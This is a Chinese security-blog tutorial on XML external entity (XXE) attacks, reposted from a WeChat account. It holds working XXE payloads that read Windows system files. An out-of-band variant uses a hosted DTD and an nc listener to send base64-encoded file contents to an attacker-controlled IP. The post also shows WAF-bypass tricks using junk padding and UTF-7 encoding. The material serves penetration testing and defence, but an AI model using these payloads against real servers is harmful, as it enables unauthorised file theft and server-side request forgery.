文章总结: 本文档介绍XXE漏洞原理与实战利用,涵盖DTD声明、基础Payload检测及有回显、无回显文件读取方法。重点演示了利用垃圾数据填充及UTF-7、ISO-8859-1编码转换绕过WAF的技巧,为安全人员提供了从检测到绕过的XXE攻击参考。 综合评分: 88 文章分类: WEB安全,漏洞分析,漏洞POC
《XXE introduce/simple bypass 实战图文》
原创
Lior1969
Moonlight安全
2026年1月11日 20:03 北京
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!所有工具安全性自测!!!
VX:dawn19691029
汇报人:Lior1969
时间:2026.01.11
《XXE introduce/simple bypass 实战图文》
01
前言
汇总+思考的xxe内容,有国内师傅和国外的文章翻译的部分因为过于久远了也忘记了来自哪里
Moonlight
02
介绍
XXE主要由DTD文档构成,因此先介绍DTD,如下所示红色部分为DTD
1、开头必须声明为XML <?xml version=”1.0”?> 2、第二行为
例如 <!DOCTYPE NOTE //声明此文档为NOTE类型 <!DOCTYPE ANY //也可以为ANY <!DOCTYPE ROOT //ROOT之类
3、DTD有内外引用两种方式
1)内部的 DOCTYPE 声明
2)外部文档声明
PUBLIC也是可以的,和SYSTEM一样
DTD的实体声明有三种方式
(1)内部实体声明
例如:
(2)外部实体声明
例如:
(3)参数实体声明
或者
例如:
Moonlight
03
XXE payload
基础的XXEpyaload
burp搜索XML看是否存在相关XML字段或自己修改content-type为 application/xml Content-type: text/xml
1、盲探测
向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[ <!ENTITY Quan SYSTEM "http://6w3pkd.dnslog.cn">]><root>&Quan;</root>
基础的XXEpyaload
2、有回显的读取文件
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[ <!ENTITY file PUBLIC "data""file:///c:/windows/win.ini"> ]><user><username>&file;</username><password>xxxx</password></user>
注意看,此处有回显是因为把&file;引入到了username的地方,而username原本的地方就是有回显的。
3、无回显的读取文件
1、在VPS上创建文件xxe.dtd 内容为如下
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini"><!ENTITY % int"<!ENTITY % send SYSTEM 'http://xx.156.10.245:22222?p=%file;'>">
2、开启端口python -m SimpleHTTPServer 11111 3、开启nc -lvvp 22222 4、在存在XXE漏洞的网站输入payload 5、发送post包如下
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://xx.156.10.245:11111/xxe.dtd">%remote;%int;%send;]>
发送可以成功读取ini文件
bypass
开启一个环境,使用payload测试,只要能解析即可达到目的,这里的环境就不多说了,随意的XXE靶场即可
这是没有经过混淆的,success
发送可以成功读取ini
垃圾数据bypasswaf
文件
<?xml version="1.0" encoding="utf-8" xxxxxxxxxxxxxxxxxx a="adasdasddddddddddddddddddddddddddsxxxxxxxxdddddddddddddddddddddddddddddddddddd"
asdasdasdasd
?><!DOCTYPE note[ <!ENTITY ssrf SYSTEM "http://81.68.xx.xx:1234/lajishuju222">]><reset>&ssrf;</reset>
字符编码绕过
iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件 UTF7 <?xml version=”1.0” encoding=”utf-7”?> 直接转换修改8为7,内容不用做任何改变
utf-7
<?xml version="1.0" encoding="utf-7"?>+ADwAIQ-DOCTYPE note+AFs +ADwAIQ-ENTITY ssrf SYSTEM +ACI-http://81.68.xx.xx:1234/utf777+ACIAPg+AF0APg+ADw-reset+AD4+ACY-ssrf+ADs+ADw-/reset+AD4+ADw-a+AD4+ADw-foo+AD4-foo1 foo2+ADw-/foo+AD4APA-foofoo/+AD4+ADw-/a+AD4
发送可以成功读取ini文件
ISO-8859-1 <?xml version=”1.0” encoding=”ISO-8859-1”?> 直接修改encoding也能解析
Moonlight
说明
欢迎师傅加我微信,分享国家护网/攻防演练漏洞poc/Src挖掘 交流
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Moonlight安全 Lior1969《《XXE introduce/simple bypass 实战图文》》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。





![[黑客群组增长技能]深入了解软件逆向工程的核心概念—2026](/images/random/titlepic/4.jpg)


评论